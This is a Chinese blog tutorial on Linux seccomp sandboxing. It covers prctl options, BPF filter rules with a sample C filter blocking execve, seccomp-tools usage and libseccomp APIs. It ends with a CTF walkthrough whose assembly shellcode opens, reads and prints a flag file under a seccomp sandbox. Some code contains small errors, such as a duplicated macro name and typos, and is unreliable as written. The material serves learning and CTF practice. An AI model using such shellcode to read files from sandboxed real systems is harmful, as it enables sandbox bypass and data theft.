跳转至

从prctl函数开始学习沙箱规则

原文地址

https://www.cnblogs.com/L0g4n-blog/p/12839171.html

1.prctl函数初探

prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。这里展示一下/linux/prctl.h和seccomp相关的源码,其他的细节,还可以在Github上再去查找,这里就暂时不再赘述。

/* Get/set process seccomp mode */
    #define PR_GET_SECCOMP      21
    #define PR_GET_SECCOMP     22

/*
 * If no_new_privs is set, then operations that grant new privileges (i.e.
 * execve) will either fail or not grant them.  This affects suid/sgid,
 * file capabilities, and LSMs.
 *
 * Operations that merely manipulate or drop existing privileges (setresuid,
 * capset, etc.) will still work.  Drop those privileges if you want them gone.
 *
 * Changing LSM security domain is considered a new privilege.  So, for example,
 * asking selinux for a specific new context (e.g. with runcon) will result
 * in execve returning -EPERM.
 *
 * See Documentation/userspace-api/no_new_privs.rst for more details.
 */
#define PR_SET_NO_NEW_PRIVS    38
#define PR_GET_NO_NEW_PRIVS    39

prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)

在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。

include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。

在第一个参数中,我们需要重点关注的参数有这两个:

(1).PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)

(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。

struct sock_fprog {
    unsigned short        len;    /* 指令个数 */
    struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code,bpf指令码,后面我们会详细地学习一下 */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
    int nr;//系统调用号
    __u32 arch;//调用架构
    __u64 instruction_pointer;//CPU指令指针
    __u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}

2.BPF过滤规则(伯克利封装包过滤)

我个人理解,突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。

如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。

我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。

BPF指令集简介

BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。

BPF_LDX:从内存中加载byte/half-word/word/double-word。

BPF_ST,BPF_STX:存储操作

BPF_ALU,BPT_ALU64:逻辑操作运算。

BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>    
#include<linux/bpf.h>             //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include<sys/types.h>

int main()
{
        struct sock_filter filter[]={
                BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),   // 从第0个字节开始,传送4个字节
                BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转
                BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
        //      BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        //        杀死一个进程
        //        BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),
        //        父进程追踪子进程,具体没太搞清楚
                 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),
        //        异常处理
                BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        //        这里表示系统调用如果正常,允许系统调用
        };
        struct sock_fprog prog={
                .len=sizeof(filter)/sizeof(sock_filter[0]),
                .filter=filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则
        puts("123");
        return 0;
}

上面的代码很简单,是我开始看bpf的时候,H4师傅给我随手写的一段供我学习的设置bpf规则的代码,我加了写注释。可以顺着这段代码,来一步步理解bpf规则,然后写出自己的过滤规则,进一步地学习。

开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。

#ifndef     BPF_STMT
#define    BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef     BPF_JUMP
#define    BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif

上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.

BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。

我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。

github上有一篇书写bpf规则的例子,这里给出链接: bpf例子

23730-45ipfpagzs7.png

上面是我又加了一个过滤规则,把系统调用号11也禁用掉,因为我们这里没有审查arch,而在32位下,execve的系统调用号是11,所以把这个系统调用也禁用掉。

28614-4l3f0mlaba7.png

禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示,可以看到当系统调用号是59和11的时候,跳转到第四行杀死进程,非常明了。

至此,我们也是基本了解了bpf,并且能够书写出bpf规则,接下来,我们再看看seccomp-tools的工具使用。

3seccomp-tools工具使用

seccomp-tools是Github上的一个开源的工具,具体的细节,在Github上可以查阅。这里,我们做一个简单的介绍。

dump:将bpf规则从可执行文件中dump下来。

seccomp-tools dump ./可执行文件名 -f [raw] [xxd]

disasm:将bpf规则反汇编出来

seccomp-tools disasm ./可执行文件名.bpf

asm:运用这个模块,我们可以写一个asm脚本,然后执行seccomp-tools asm [asm脚本名]

4例题(pwnable.tw —— orw)

orw是一种方法,在系统调用被严格禁用的情况下,代表open(),read(),write()这三个函数。

31138-6fncfqv2fw.png

主函数如上所示,其中有一个orw_seccomp函数

48961-kthv6v54o8.png

我们用seccomp-tools看一下它的过滤规则,可以发现,只有rt_signreturn,exit_group,exit,open,read,write这几个系统调用是可以被调用的。

37398-r8wrk0zhx28.png

程序没有溢出点,但是在填入shellcode之后,会主动调用shellcode,题目提示:flag位于“/home/orw/”目录下,所以这里写入的shellcode直接调用sys_open,sys_read,sys_write读取flag即可,这里写一个汇编脚本。

mov eax,0x5;
push 0x67616c66;
push 0x2f656d6f;
push 0x682f2f2f;
mov ebx,esp;  //前面是把字符串“home/orw/flag”作为参数填入栈中,这里是从esp开始,把栈中的参数转入ebx寄存器中
xor ecx,ecx;
push ecx;    //这里压入栈中,表示ecx寄存器由调用者保存
xor edx,edx;
int 0x80;    //sys_open
mov eax 0x3;
mov ecx,ebx;
mov ebx,0x3;
mov edx,0x30;
int 0x80;    //sys_read
mov eax,0x4;
mov bl,0x1;
mov edx,0x30;
int 0x80     

然后用pwntools写一个脚本吧shellcode发送过去就好了(自己写一遍啊,2333)81105-2106u7qn6rz.png

有借鉴过其他师傅的博客,这里一并列出:

linux沙箱之seccomp seccomp学习笔记 关于seccomp沙箱中的bpf规则

写在最后:

prctl函数是最原始的,建立沙箱规则的函数。后面出现的seccomp.h对prctl函数进行了封装,有了seccomp_init(),seccomp_rule_add(),seccomp_load()函数来进行沙箱规则的设置。

/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL        0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP        0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)    (0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)    (0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG        0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW        0x7fff0000U

seccomp_rule_add函数负责添加规则,函数原型如下:

/**
 * Add a new rule to the filter
 * @param ctx the filter context
 * @param action the filter action
 * @param syscall the syscall number
 * @param arg_cnt the number of argument filters in the argument filter chain
 * @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
 *
 * This function adds a series of new argument/value checks to the seccomp
 * filter for the given syscall; multiple argument/value checks can be
 * specified and they will be chained together (AND'd together) in the filter.
 * If the specified rule needs to be adjusted due to architecture specifics it
 * will be adjusted without notification.  Returns zero on success, negative
 * values on failure.
 *
 */
int seccomp_rule_add(scmp_filter_ctx ctx,
             uint32_t action, int syscall, unsigned int arg_cnt, ...);

第二个参数如下所示,表示对某个系统调用要进行的操作:

/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL        0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP        0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)    (0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)    (0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG        0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW        0x7fff0000U

最后一个参数为0的时候,表示直接对系统调用进行操作。如果当某个参数满足条件后,对某个系统调用进行操作,那么可以有以下的宏定义进行限制:

/**
 * Specify an argument comparison struct for use in declaring rules
 * @param arg the argument number, starting at 0
 * @param op the comparison operator, e.g. SCMP_CMP_*
 * @param datum_a dependent on comparison
 * @param datum_b dependent on comparison, optional
 */
#define SCMP_CMP(...)        ((struct scmp_arg_cmp){__VA_ARGS__})

/**
 * Specify an argument comparison struct for argument 0
 */
#define SCMP_A0(...)        SCMP_CMP(0, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 1
 */
#define SCMP_A1(...)        SCMP_CMP(1, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 2
 */
#define SCMP_A2(...)        SCMP_CMP(2, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 3
 */
#define SCMP_A3(...)        SCMP_CMP(3, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 4
 */
#define SCMP_A4(...)        SCMP_CMP(4, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 5
 */
#define SCMP_A5(...)        SCMP_CMP(5, __VA_ARGS__)



/**
 * Comparison operators
 */
enum scmp_compare {
    _SCMP_CMP_MIN = 0,
    SCMP_CMP_NE = 1,        /**< not equal */
    SCMP_CMP_LT = 2,        /**< less than */
    SCMP_CMP_LE = 3,        /**< less than or equal */
    SCMP_CMP_EQ = 4,        /**< equal */
    SCMP_CMP_GE = 5,        /**< greater than or equal */
    SCMP_CMP_GT = 6,        /**< greater than */
    SCMP_CMP_MASKED_EQ = 7,        /**< masked equality */
    _SCMP_CMP_MAX,
};

/**
 * Argument datum
 */
typedef uint64_t scmp_datum_t;

/**
 * Argument / Value comparison definition
 */
struct scmp_arg_cmp {
    unsigned int arg;    /**< argument number, starting at 0 */
    enum scmp_compare op;    /**< the comparison op, e.g. SCMP_CMP_* */
    scmp_datum_t datum_a;
    scmp_datum_t datum_b;
};

seccomp_load负责导入规则,seccomp_load导入规则之后,添加的规则才能执行,函数原型如下:

55642-hkovo3oaf8.png